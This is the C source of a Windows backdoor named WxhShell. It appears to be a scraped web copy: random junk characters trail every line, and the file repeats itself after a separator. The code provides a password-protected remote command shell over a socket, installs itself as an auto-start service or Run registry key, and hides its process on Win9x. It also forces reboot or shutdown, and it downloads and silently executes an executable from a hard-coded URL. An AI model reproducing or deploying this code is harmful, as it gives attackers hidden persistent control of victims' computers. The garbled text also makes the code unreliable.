    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .gO|=E"  
    if(Boot(SHUTDOWN)) J!Z6$VERy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F_079~bJ  
    else { =z. hJu  
    closesocket(wsh); aE0R{yupZ  
    ExitThread(0); m* 3ipI{h  
    } h1~h& F?  
    break; S)hDsf.I  
    } a en%  
  // 获取shell AZ.QQ*GZ#y  
  case 's': { d9 [j4q_  
    CmdShell(wsh); YP,,vcut  
    closesocket(wsh); a;[\nCK  
    ExitThread(0); L2@:?WW[  
    break; gP>pb W_  
  } C@a I*+@-"  
  // 退出 Ou[`)|>  
  case 'x': { &$s:h5HoX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lw3H 8[  
    CloseIt(wsh); zY/Oh9`=v  
    break; xd{.\!q.  
    } i$kB6B#==  
  // 离开 WN]k+0#  
  case 'q': { `)cI^!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0(i3RPIj\  
    closesocket(wsh); _i>_Sn1"  
    WSACleanup(); `,4yGgD!4  
    exit(1); q{h,}[U=  
    break; OV{v6,>O  
        } #`y[75<n  
  } dOv\]  
  } DOyO`TJi  
M4Cb(QAVP  
  // 提示信息 I'xc$f_+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d'(n/9K  
} WWSycH ?[  
  } tQ@7cjq8bA  
e (]]  
  return;  3?D, Wu  
} z#gebr~_\  
{N]WVp*R  
// shell模块句柄 :?~)P!/xl5  
int CmdShell(SOCKET sock) d5-Q}D,P  
{ PxYK)n9&  
STARTUPINFO si; h GA2.{  
ZeroMemory(&si,sizeof(si)); zWo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @7}XBg[pI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0d2RB^"i  
PROCESS_INFORMATION ProcessInfo; Rir0^XqG  
char cmdline[]="cmd"; l^I? @{W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Bl,_?CBr  
  return 0; d>u^ 7:  
} & &CrF~  
_wXT9`|3  
// 自身启动模式 ,q%X`F rc  
int StartFromService(void) 0WzoI2Q  
{ 8b0j rt  
typedef struct ?5't1219  
{ 50 w$PW  
  DWORD ExitStatus; qt.4dTd:_  
  DWORD PebBaseAddress; Ch{6=k bK  
  DWORD AffinityMask; Lu^uY7 ?}  
  DWORD BasePriority; <k[_AlCmsg  
  ULONG UniqueProcessId; u$tst_y-  
  ULONG InheritedFromUniqueProcessId; gZ&4b'XS,  
}   PROCESS_BASIC_INFORMATION; ^0"^  
W'"hjQ_  
PROCNTQSIP NtQueryInformationProcess; uPl7u 1c  
m> +  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x .@O]}UH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z~f;}`0  
xJw" 8V<  
  HANDLE             hProcess; 3B;Gm<fJ9N  
  PROCESS_BASIC_INFORMATION pbi; l\0PwD  
[;hkT   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rXmrT%7k  
  if(NULL == hInst ) return 0; 0#GnmH  
b)a5LFt|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]2L11" erP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B Hp>(7,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ] K&ca  
H.M: cD:  
  if (!NtQueryInformationProcess) return 0; `yq) y>_  
pS-o*!\C.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r;b`@ .  
  if(!hProcess) return 0; Y->sJm  
)0I -N)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +|;Ri68  
G8]{pbX  
  CloseHandle(hProcess); !^Ay !  
oeKl\cgFx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u gRyUny  
if(hProcess==NULL) return 0; Q~"Lyy8  
/Q W^v;^  
HMODULE hMod; SeZ+&d  
char procName[255]; Ho}*Bn~ic  
unsigned long cbNeeded; /T qbl^[  
}^H(EHE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )+v5 H  
%@(+`CCA  
  CloseHandle(hProcess); _!|$i  
t{UWb~"  
if(strstr(procName,"services")) return 1; // 以服务启动 2@T0QJ  
n[y=DdiKGS  
  return 0; // 注册表启动 ?lqqu#;8  
} uFmpc7  
b i-Am/9  
// 主模块 k~;~i)Eg  
int StartWxhshell(LPSTR lpCmdLine) Tq* <J~-  
{ JoB-&r}\V*  
  SOCKET wsl; | #a{1Z)  
BOOL val=TRUE; 3v$n}.  
  int port=0; 9FC_B+7  
  struct sockaddr_in door; ,h%n5R$:  
[ s/j?/9  
  if(wscfg.ws_autoins) Install(); *fd:(dN|  
?r]0%W^  
port=atoi(lpCmdLine); !<h9XccN  
L})fYVX  
if(port<=0) port=wscfg.ws_port; zZ9Ei-Q  
2N-p97"g  
  WSADATA data; k^JgCC+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 902A,*qq  
EhD%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h`Ej>O7m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =|O]X|y-lZ  
  door.sin_family = AF_INET; >yenuqIKQv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b* n#XTV  
  door.sin_port = htons(port); H9_>a-> )~  
L kafB2y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Eb5>c/(  
closesocket(wsl); UC`sq-n  
return 1; ?3LV$S)U  
} uFuH/(}K[  
Pvv7|AV   
  if(listen(wsl,2) == INVALID_SOCKET) { _;BNWH  
closesocket(wsl); ^eoW+OxH  
return 1; R/B/|x  
} }#g &l*P  
  Wxhshell(wsl); V/\`:  
  WSACleanup(); l YdATM(h  
8% ; .H-  
return 0; Ozulp(8*  
3 ?gfDJfE  
} |J-tU)|1vl  
$D^27q:H  
// 以NT服务方式启动 _MQh<,Z8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9l[C&0w#\  
{ d]_].D$  
DWORD   status = 0; BVv-1$ U^  
  DWORD   specificError = 0xfffffff; 7 mA3&<&q  
~s?y[yy6i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :hB6-CZkqN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A[Ce3m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .ezko\nU  
  serviceStatus.dwWin32ExitCode     = 0; b V_<5PHP  
  serviceStatus.dwServiceSpecificExitCode = 0; rCGKE`H  
  serviceStatus.dwCheckPoint       = 0; Q[!?SSX%  
  serviceStatus.dwWaitHint       = 0; v!S(T];)  
ykx13|iR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KLj/,ehD !  
  if (hServiceStatusHandle==0) return; I_Gm2 Dd  
q|lP?-j  
status = GetLastError(); !t)uRJ   
  if (status!=NO_ERROR) {)Zz4  
{ g p9;I*!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a*,V\l|6  
    serviceStatus.dwCheckPoint       = 0; 2*-qEUl1  
    serviceStatus.dwWaitHint       = 0; ncsk(`lo  
    serviceStatus.dwWin32ExitCode     = status; 0|\JbM  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1?TgI0HS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,F'y:px  
    return; ]RVme^=  
  } *= %`f=  
.(Z^}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bL:+(/:  
  serviceStatus.dwCheckPoint       = 0; ldKLTO*&  
  serviceStatus.dwWaitHint       = 0; B(wi+;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Py9:(fdS  
} vXSpn71Jb  
Y}\3PaUa  
// 处理NT服务事件,比如:启动、停止 527u d^:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 93.L887  
{ {Z$]Rj  
switch(fdwControl) Tz(Dhb,  
{ lP(<4mdP  
case SERVICE_CONTROL_STOP: M;z )c|Z  
  serviceStatus.dwWin32ExitCode = 0; .D=#HEshk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b3=XWzK5  
  serviceStatus.dwCheckPoint   = 0; Pl|*+g  
  serviceStatus.dwWaitHint     = 0; e 7Sg-NWV  
  { 'F1<m^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hc0V4NHCaL  
  } 2Y}A9Veb  
  return; esv<b>`R  
case SERVICE_CONTROL_PAUSE: `1 Tg8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }V+&o\4  
  break; M7gqoJM'Q  
case SERVICE_CONTROL_CONTINUE: (elkk#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @<S'f<>g  
  break; %CrpUx  
case SERVICE_CONTROL_INTERROGATE: 61b<6 r0o  
  break; 'Te'wh=Y  
}; |L)qH"Eo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gi/W3q3c6  
} 0NSCeq%;6q  
U`4t4CHA  
// 标准应用程序主函数 w 3L+7V,!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $yZP"AsAR  
{ 51>OwEf<R  
[!#;QQ&M  
// 获取操作系统版本 U,`F2yD/!  
OsIsNt=GetOsVer(); BQ~\p\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gqAN-b'  
`LWbL*;Y0  
  // 从命令行安装 %C >Win)g  
  if(strpbrk(lpCmdLine,"iI")) Install(); PiX(Ase  
|P"kJ45  
  // 下载执行文件 AIwp2Fz  
if(wscfg.ws_downexe) { HxShNU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A^pRHbRq  
  WinExec(wscfg.ws_filenam,SW_HIDE); V#PT.,Xa.  
} |uA /72  
B{Lzgw u;  
if(!OsIsNt) { L<N=,~  
// 如果时win9x,隐藏进程并且设置为注册表启动 $I3}% '`+  
HideProc(); }Do$oyAV$G  
StartWxhshell(lpCmdLine); IkLcL8P^  
} E-#}.}i5  
else a&`Lfw"  
  if(StartFromService()) ]u >~:  
  // 以服务方式启动 )}\J    
  StartServiceCtrlDispatcher(DispatchTable); n6GB2<y  
else rdm&YM`J  
  // 普通方式启动 ,HW[l.v  
  StartWxhshell(lpCmdLine); sCAWrbOe>  
X4v0>c  
return 0; OWHHN<  
} UZW)%  
Qb1hk*$=  
#$-`+P  
H[iR8<rhQ  
=========================================== +r]2.  
hzy#%FaB  
4{=^J2z  
b U>.Bp]  
, *Z!Bd8  
Al}%r85  
" Ykj+D7rA:  
qmGLc~M0  
#include <stdio.h> EYKV}`  
#include <string.h> p w`YMk  
#include <windows.h> 3gba~}c)  
#include <winsock2.h> +C[%^G-:  
#include <winsvc.h> O>2i)M-h9x  
#include <urlmon.h> ,fD#)_\g2  
<#:ey^q<  
#pragma comment (lib, "Ws2_32.lib") ;ywUl`d  
#pragma comment (lib, "urlmon.lib") `CEHl &w  
$+[ v17lF  
#define MAX_USER   100 // 最大客户端连接数 8Nf%<nUv  
#define BUF_SOCK   200 // sock buffer )ocr.wU@  
#define KEY_BUFF   255 // 输入 buffer _2S( *  
A]s|"Pav,  
#define REBOOT     0   // 重启 )Es|EPCx!  
#define SHUTDOWN   1   // 关机 sxU 0Fg   
XXPpj< c  
#define DEF_PORT   5000 // 监听端口 V3> JZH`  
A#Jx6T`a  
#define REG_LEN     16   // 注册表键长度 #?RT$L>n  
#define SVC_LEN     80   // NT服务名长度 i~EFRI@  
MJI`1*(  
// 从dll定义API r1 [Jo|4vo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kTs.ps8ei  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %8g1h)F"S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7F wo t&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 05o 1  
/gq VXDY+`  
// wxhshell配置信息 *TP>)o  
struct WSCFG { 45tQ$jr`1  
  int ws_port;         // 监听端口 j.7BoV  
  char ws_passstr[REG_LEN]; // 口令 VPXUy=W  
  int ws_autoins;       // 安装标记, 1=yes 0=no X< p KAO\  
  char ws_regname[REG_LEN]; // 注册表键名 Y`!Zk$8  
  char ws_svcname[REG_LEN]; // 服务名 5TS&NefM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W 33MYw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '@,M 'H{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4:Id8r zz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?=0BU}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WBY_%RTx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NN@'79x  
h7F5-~SpD  
}; m e&'BQ  
2"!s8x1$  
// default Wxhshell configuration vAjvW&'g  
struct WSCFG wscfg={DEF_PORT, (E]q>'X  
    "xuhuanlingzhe", ~~X-$rtU  
    1, i5jsM\1j  
    "Wxhshell", [^2c9K^NK  
    "Wxhshell", 0hM!#BU5K  
            "WxhShell Service", R>n=_C  
    "Wrsky Windows CmdShell Service", ($r-&]y  
    "Please Input Your Password: ", $irF  
  1, Ud'/ 9:P  
  "http://www.wrsky.com/wxhshell.exe", `ehcj G1nY  
  "Wxhshell.exe" \d}>@@U&  
    }; .h[yw$z6  
LF\HmKM,  
// 消息定义模块 bOS; 1~~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X6SWcJtSw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EK$3T5e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nv/'C=+L  
char *msg_ws_ext="\n\rExit."; $ucA.9pJ  
char *msg_ws_end="\n\rQuit."; M A  
char *msg_ws_boot="\n\rReboot..."; :SvgXMY@  
char *msg_ws_poff="\n\rShutdown..."; z6;6 o!ej  
char *msg_ws_down="\n\rSave to "; 'nSo0cyQ  
g=]VQ;{  
char *msg_ws_err="\n\rErr!"; 5l4YYwd>v  
char *msg_ws_ok="\n\rOK!"; jPa"|9A  
V3<H8pL  
char ExeFile[MAX_PATH]; &Na,D7A:3I  
int nUser = 0; r: M>/Z/  
HANDLE handles[MAX_USER]; 2nkymEPu  
int OsIsNt; $u P'>  
85Red~-M  
SERVICE_STATUS       serviceStatus; XsbYWJdds  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `A ^  
ME.a * v  
// 函数声明 \2!1fN  
int Install(void); ;Bwg'ThT  
int Uninstall(void); 6tF_u D  
int DownloadFile(char *sURL, SOCKET wsh); (rm*KD"]  
int Boot(int flag); M2lvD&  
void HideProc(void); FE,BvNBZ  
int GetOsVer(void); kmT5g gy  
int Wxhshell(SOCKET wsl); ]-"G:r  
void TalkWithClient(void *cs); f O,5 u;  
int CmdShell(SOCKET sock); 2rPmu  
int StartFromService(void); H<Ik.]m  
int StartWxhshell(LPSTR lpCmdLine); M)1Y7?r]  
~EtwX YkRZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  x>$e*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wGg_ vAn  
Ra/Pk G-7  
// 数据结构和表定义 VDTt}J8  
SERVICE_TABLE_ENTRY DispatchTable[] = 7m:ZG  
{ (NC]S  
{wscfg.ws_svcname, NTServiceMain}, D1R$s*{  
{NULL, NULL} uN8RG_Mb  
}; W.CbNou  
dJ>~  
// 自我安装 cp$GP*{@  
int Install(void) "Tz'j}< 9C  
{ Fj4>)!^kM  
  char svExeFile[MAX_PATH]; *WaqNMD[%  
  HKEY key; N>xdX5  
  strcpy(svExeFile,ExeFile); j9xu21'!%  
)k.}>0K |  
// 如果是win9x系统,修改注册表设为自启动 5XoM)  
if(!OsIsNt) { h?'~/@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A<''x'\/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gy>B 5ie  
  RegCloseKey(key); 5.d[C/pRw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sOVU>tb\'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L Q0e@5  
  RegCloseKey(key); L Iz<fB  
  return 0; 7>lM^ :A  
    } .F},Z[a&  
  } T/]f5/  
} .tcdqL-'  
else { nO+R >8,Q  
Jb*E6-9G  
// 如果是NT以上系统,安装为系统服务 v =d16  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CorV!H4  
if (schSCManager!=0) F:N8{puq5  
{ vb6kr?-i*  
  SC_HANDLE schService = CreateService i&YWutG  
  (  stQ_Ke  
  schSCManager, % :h %i|  
  wscfg.ws_svcname, 6=:s3I^  
  wscfg.ws_svcdisp, lg +>.^7k  
  SERVICE_ALL_ACCESS, R*/s#*gmL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y9b%P]i  
  SERVICE_AUTO_START, <*(^QOM  
  SERVICE_ERROR_NORMAL, l];/,J^  
  svExeFile, 6n^@Ps  
  NULL, RdBIbm  
  NULL, u4j"U6"]M  
  NULL, Y>6N2&Q  
  NULL, )2a)$qx;  
  NULL ]I_*+^?tI  
  ); aW-6$=W  
  if (schService!=0) Wdi`Z E  
  { 0SDnMij&bf  
  CloseServiceHandle(schService); "hi03k  
  CloseServiceHandle(schSCManager); %=!] 1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u'nQC*iJb  
  strcat(svExeFile,wscfg.ws_svcname); $,P:B%]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J$5Vjh'aM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =f!clhO  
  RegCloseKey(key); YjH~8==  
  return 0; >, [@SF%  
    } ^t:dcY7  
  } 2RQ- L  
  CloseServiceHandle(schSCManager); P V:J>!]  
} F$bV}>-1k  
} 7[PEiAI  
A=3L_ #nO  
return 1; :bm%f%gg  
} &d0sv5&s  
4jt(tZS  
// 自我卸载 mRa\ wEg%  
int Uninstall(void) oKb"Ky@s  
{ T+^c=[W  
  HKEY key; c]zFZJ6M  
3{f g3?  
if(!OsIsNt) { A,BYi$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z0OxJe  
  RegDeleteValue(key,wscfg.ws_regname); c_8<N7 C  
  RegCloseKey(key); A; wT`c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UWidT+'Sa  
  RegDeleteValue(key,wscfg.ws_regname); J ZkQ/vp(  
  RegCloseKey(key); Pt f(p`  
  return 0; a>x6n3{  
  }  /y wP 0  
} e[16 7uU  
} z_N";Rn  
else { ,yA[XAz~U  
S*$?~4{R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {`G d  
if (schSCManager!=0) `CI_zc=jx  
{ 2;u i'B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a ydNSgu  
  if (schService!=0) ^ H&U_  
  { g/fpXO\  
  if(DeleteService(schService)!=0) { k%FA:ms|k  
  CloseServiceHandle(schService); GX0zirz  
  CloseServiceHandle(schSCManager); n}j6gN!O  
  return 0; y pyKRsx  
  } uZZRFioX|  
  CloseServiceHandle(schService); I}m20|vv  
  } xEk8oc  
  CloseServiceHandle(schSCManager); "i\#L`TkzX  
} A&bj l[s  
} a]T&-#c,}  
x-e6[_F  
return 1; Lm=;Y6'`N  
} X fqhD&g  
Xh>($ U  
// 从指定url下载文件 ?:ZB'G{%E  
int DownloadFile(char *sURL, SOCKET wsh) }Uwji  
{ marZA'u%B1  
  HRESULT hr; Z Cjw)To(  
char seps[]= "/"; U2A 82;Z  
char *token; L-!1ybB^  
char *file; (v%24bv  
char myURL[MAX_PATH]; Q{RmE:  
char myFILE[MAX_PATH]; H=Ilum06  
Pal=I)  
strcpy(myURL,sURL); OU"%,&J  
  token=strtok(myURL,seps); fj)) Hnt(|  
  while(token!=NULL) i5t6$|u:&m  
  { [d8Q AO1;)  
    file=token; RGE(#   
  token=strtok(NULL,seps); {X&lgj  
  } 80wzn,o S  
?UZt30|1  
GetCurrentDirectory(MAX_PATH,myFILE); ?)y^ [9  
strcat(myFILE, "\\"); dw3Hk$"h  
strcat(myFILE, file); BUJ\[/  
  send(wsh,myFILE,strlen(myFILE),0); `}$o<CJ  
send(wsh,"...",3,0); Ph1XI&us9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {VE h@yn  
  if(hr==S_OK) z.!N|"4yr  
return 0; L_NiU;cr%  
else e[fOm0^.c  
return 1; *B"Y]6$  
Z(T{K\)uN  
} RHg-Cg`  
. \"k49M`  
// 系统电源模块 0{|HRiQH9+  
int Boot(int flag) k=hWYe$iAz  
{ 8~]D!c8;a  
  HANDLE hToken; odsFgh  
  TOKEN_PRIVILEGES tkp; AQg|lKv  
akxNT_   
  if(OsIsNt) { Y8\P"q b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /,I cs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .mt%8GM  
    tkp.PrivilegeCount = 1; Y~-y\l;Tr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ve3z5d:^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UtQey ;w  
if(flag==REBOOT) {  ir6' \  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *[3xc*5F/A  
  return 0; _!R$a-  
} 15\m.Ix  
else { ^AS \a4`/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #Ub_m@@ 4  
  return 0; Z[oEW>_A  
} lUm(iYv;H  
  } T)rE#"_]{  
  else { L^3&  
if(flag==REBOOT) { /i'078F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \=A A,Il  
  return 0; 'J|)4OG:  
} $(aq;DR  
else { _1p8(n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DK)W ,z|  
  return 0; K^shTh8k  
} " B#|C'   
} Yf w>x[#e  
?m |}}a  
return 1; ["Ltqgx  
} 2T~cOH;T  
CWn\K R  
// win9x进程隐藏模块 D(#f`Fj;  
void HideProc(void) G@[8P?M=Z  
{  5&&4-  
2J ZR"P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0 =j }`  
  if ( hKernel != NULL ) lW&(dn)}  
  { ~2w&+@dV%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +jGHR& A t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /SD}`GxH  
    FreeLibrary(hKernel); cqS :Zq  
  } qTd[Da G#  
n qcq3o*B  
return; W)In.?>]W  
} Ke\\B o,  
HTJ2D@h  
// 获取操作系统版本 6pt_cpbR  
int GetOsVer(void) L*(9Hti  
{ p,Ff, FfH  
  OSVERSIONINFO winfo; _M&TT]a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = xO03|T;6  
  GetVersionEx(&winfo); C82_ )@96  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `@~e<s`j  
  return 1;  Y'iX   
  else ,,'jyqD  
  return 0; H}^'  
} <v_=k],W  
UN]gn>~j  
// 客户端句柄模块 SS=<\q#MS  
int Wxhshell(SOCKET wsl) >cu%Cs=m  
{ KP&+fDa  
  SOCKET wsh; ,ks2&e  
  struct sockaddr_in client; ,=:K&5mCv  
  DWORD myID; ]pax,| +$C  
z%;p lMj  
  while(nUser<MAX_USER) iC gZ3M]  
{ :Ha/^cC/3  
  int nSize=sizeof(client); &L ;ocd$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =3e7n2N)  
  if(wsh==INVALID_SOCKET) return 1; " O&93#8  
Q`ua9oIJ=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^SdF\uk{?6  
if(handles[nUser]==0) ?+yr7_f3*  
  closesocket(wsh); mmAm@/  
else _pvB$&  
  nUser++; $)i`!7`4=  
  } 25Dl4<-Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 22`^Rsb,6L  
Gm=qn]c  
  return 0; 9wgB J Jl7  
} {Su?*M2y  
WRh5v8Wz0  
// 关闭 socket e7vm3<m4  
void CloseIt(SOCKET wsh) ejROJXB  
{ ALF0d|>=uj  
closesocket(wsh); /WrB>w  
nUser--; f98,2I(>`+  
ExitThread(0); |3*9+4]a  
} ^9g$/8[^c_  
z;c>Q\Q  
// 客户端请求句柄 b$G{^  
void TalkWithClient(void *cs) FaL\6w  
{ 1 ^~&"s U  
j]Auun  
  SOCKET wsh=(SOCKET)cs; o>el"0rn.h  
  char pwd[SVC_LEN]; z5+Pi:1w  
  char cmd[KEY_BUFF]; *;7y5ZJ  
char chr[1]; 'solCAy  
int i,j; Q#bW"},^k  
~P4C`Q1PT#  
  while (nUser < MAX_USER) { $*Ucfw1T  
/F*Y~>*% 1  
if(wscfg.ws_passstr) { h [TwaR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ewZ?+G+m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2w?q7N%  
  //ZeroMemory(pwd,KEY_BUFF); 44]s`QyG  
      i=0; o<`vh*U@,4  
  while(i<SVC_LEN) { C"hN2Z!CD|  
@KN+)qP  
  // 设置超时 mzgt>Qtkz=  
  fd_set FdRead; P*|N)S)X%  
  struct timeval TimeOut; q!Du J  
  FD_ZERO(&FdRead); LU1I `E  
  FD_SET(wsh,&FdRead); Y0LZbT3  
  TimeOut.tv_sec=8; IkrB}  
  TimeOut.tv_usec=0; Y-VDi.]W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]z'&oz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b IDUa  
7- B.<$uC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <I+kB^Er  
  pwd=chr[0]; dbp\tWaW  
  if(chr[0]==0xd || chr[0]==0xa) { :6n#y-9^1  
  pwd=0; o+A7hBM^  
  break; k[6J;/  
  } /]0qI  
  i++; <Xf6?nyZ(  
    } |{(<A4W  
J2mHPV A3  
  // 如果是非法用户,关闭 socket uYJS=NGNA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sS D8Sx/  
} fPR_ 3qgQ  
@Jt$92i5PS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -JW~_Q[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S}6Ld(_  
lZFu|(  
while(1) { '-iEbE  
@HT\Y%E  
  ZeroMemory(cmd,KEY_BUFF); =|3BkmO  
yx-{Pj X   
      // 自动支持客户端 telnet标准   b!<_ JOL2.  
  j=0; s :vNr@TS  
  while(j<KEY_BUFF) { qBA)5Sv\V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GkGiQf4hh  
  cmd[j]=chr[0]; _&gi4)q  
  if(chr[0]==0xa || chr[0]==0xd) { z7K{ ,y  
  cmd[j]=0; Q$%apL  
  break; C$[d~1t6  
  } 7]=&Q4e4  
  j++; #'L<7t K  
    } i8iT}^  
x|H`%Z  
  // 下载文件 bA;OphO(  
  if(strstr(cmd,"http://")) { Kv_2=]H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6$u/N gS  
  if(DownloadFile(cmd,wsh)) wu <0or2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i:lc]B  
  else 0PzSp ]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qu=~\t1[6  
